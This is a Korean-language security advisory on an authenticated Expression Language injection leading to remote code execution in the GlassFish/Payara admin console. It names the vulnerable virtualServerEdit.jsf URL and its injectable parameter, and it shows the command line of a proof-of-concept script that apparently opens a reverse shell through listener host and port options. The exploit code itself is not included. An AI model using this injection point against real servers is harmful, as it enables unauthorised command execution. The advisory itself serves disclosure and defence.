인증된 GlassFish EL 주입 RCE (CVE-2026-2586)

GlassFish 관리 콘솔의 Expression Language 주입 취약점으로 인해 인증된 사용자가 관리 웹 인터페이스에서 처리되는 매개변수에 악성 EL 표현식을 주입할 수 있습니다. 성공적으로 악용하면 영향을 받는 서버에서 원격 명령 실행이 발생할 수 있습니다.

이 취약점은 서버 가상 구성 편집 흐름에서 발견되었으며, 여기서 사용자가 제어할 수 있는 매개변수가 애플리케이션에 의해 안전하지 않게 해석됩니다.

이는 다음 이유로 발생합니다:

• 관리 인터페이스는 EL 표현식 내에서 사용자가 제어하는 매개변수를 처리합니다.
• 입력은 백엔드에서 해석되기 전에 제대로 검증되거나 무력화되지 않습니다.
• 관리 콘솔의 인증된 사용자는 취약한 동작을 악용하여 Java 클래스와 메서드를 호출할 수 있습니다.
• 성공적인 악용 시나리오에서 유효한 자격 증명을 가진 공격자는 기본 운영 체제에서 명령을 실행할 수 있습니다.

영향을 받는 구성 요소

• 제품: GlassFish / Payara 관리 콘솔
• CVE: CVE-2026-2586
• 유형: Expression Language 주입
• 영향: 인증된 원격 코드 실행
• 벡터: 관리 웹 인터페이스

개념 증명

테스트는 로컬 및 통제된 환경에서 수행되었습니다.

CVE-2026-2586.py --url https://glassfish:4848/ --user <USERNAME> --password <PASSWORD> --lhost 127.0.0.1 --lport 4444 --insecure

취약한 URL:

https://glassfish:4848/web/configuration/virtualServerEdit.jsf?name=server&configName=server-config&alertType=success&alertSummary=PAYLOAD&alertDetail=&bare=true

법적 고지

승인된 사용만 허용됩니다. DeepSecurity Perú는 무단 접근을 승인하지 않으며 제공된 정보의 오용에 대해 어떠한 책임도 지지 않습니다.